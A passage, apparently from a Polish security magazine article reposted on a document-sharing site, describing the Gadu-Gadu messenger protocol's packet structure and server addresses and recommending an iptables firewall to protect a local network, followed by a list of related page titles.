ków do serwerów komunikacyjnych pod-
czas procesu logowania. Oprócz informa-
cji o numerze użytkownika, do serwera
przesyłana jest także informacja o nume-
rze wersji programu.

chcieliśmy pokazać, jak łatwo jest popeł-
niać błędy, jeśli sami projektujemy proto-
kół i jak łatwo z punktu widzenia atakują-
cego jest je wykorzystywać.

Sposoby zabezpieczania się

Najczęściej spotykanym sposobem ochro-
ny naszej sieci przed atakami z Internetu
jest instalacja zapory sieciowej opartej na
systemie operacyjnym Linux. Dzięki zasto-
sowaniu filtru pakietów na tym urządze-
niu możemy określić, do jakich usług inter-
netowych nasi lokali użytkownicy będą
mieli dostęp. Firewall ten zabezpieczy rów-
nież naszą sieć lokalną przed połączeniami
nawiązywanymi z sieci Internet. Przykład
standardowej konfiguracji filtra pakietów
IPtables znajduje się na Listingu 3.

Aby móc stworzyć skuteczny system

ochrony naszej sieci lokalnej przed ata-
kami, musimy poznać podstawy proto-
kołu Gadu-Gadu (jest on dobrze opisany
na stronach Eksperymentalnego Klienta
Gadu-Gadu -- http://dev.null.pl/ekg). Każdy
pakiet składa się z dwóch części: nagłów-
ka i ciała komunikatu. 8-bajtowy nagłó-
wek informuje o rodzaju pakietu, który
jest przesyłany i długości ciała komuni-
katu. Pakiety sterujące oraz komunikaty
z wiadomościami i obrazkami są przesy-
łane przez program do serwerów komu-
nikacyjnych. Serwery te posiadają adresy
IP 217.17.41.80-217.17.41.95, 217.17.46.248-


Wyszukiwarka

Podobne podstrony:
WYKŁAD 01, STUDIA, III rok, INTERNA, Wykłady, wykłady 2006-7
2006 06 Analiza Naruszeń i Egzekwowanie Polityki Bezpieczeństwa
2006 01 Bezpieczne sieci bezprzewodowe [Bezpieczenstwo]
Bezpieczne korzystanie z komunikatorów internetowych
Zasady komunikacji internetowej Martens
2006 01 Nie chcemy fizjoterapeutow z przypadku
2009 01 Analiza powłamaniowa
ASP NET 2 0 Tworzenie witryn internetowych z wykorzystaniem C i Visual Basica aspntw
2006 01 15
2006 01 06 0006
2006 01 10!5659 Maths set1
Zarządzanie w sytuacjach kryzysowych - wykłady z 02.10.- 17.12. - 15.01, Sudia - Bezpieczeństwo Wewn
Projektowanie baz danych Wykłady Sem 5, pbd 2006.01.07 wykład03, Podstawy projektowania
2006 01 Cenimy porządną uczciwą robotę
2006 01 30 kol 3B
Marklin Magazin 2006 01 Gleisplan
1, Analiza elementow komunikacji

więcej podobnych podstron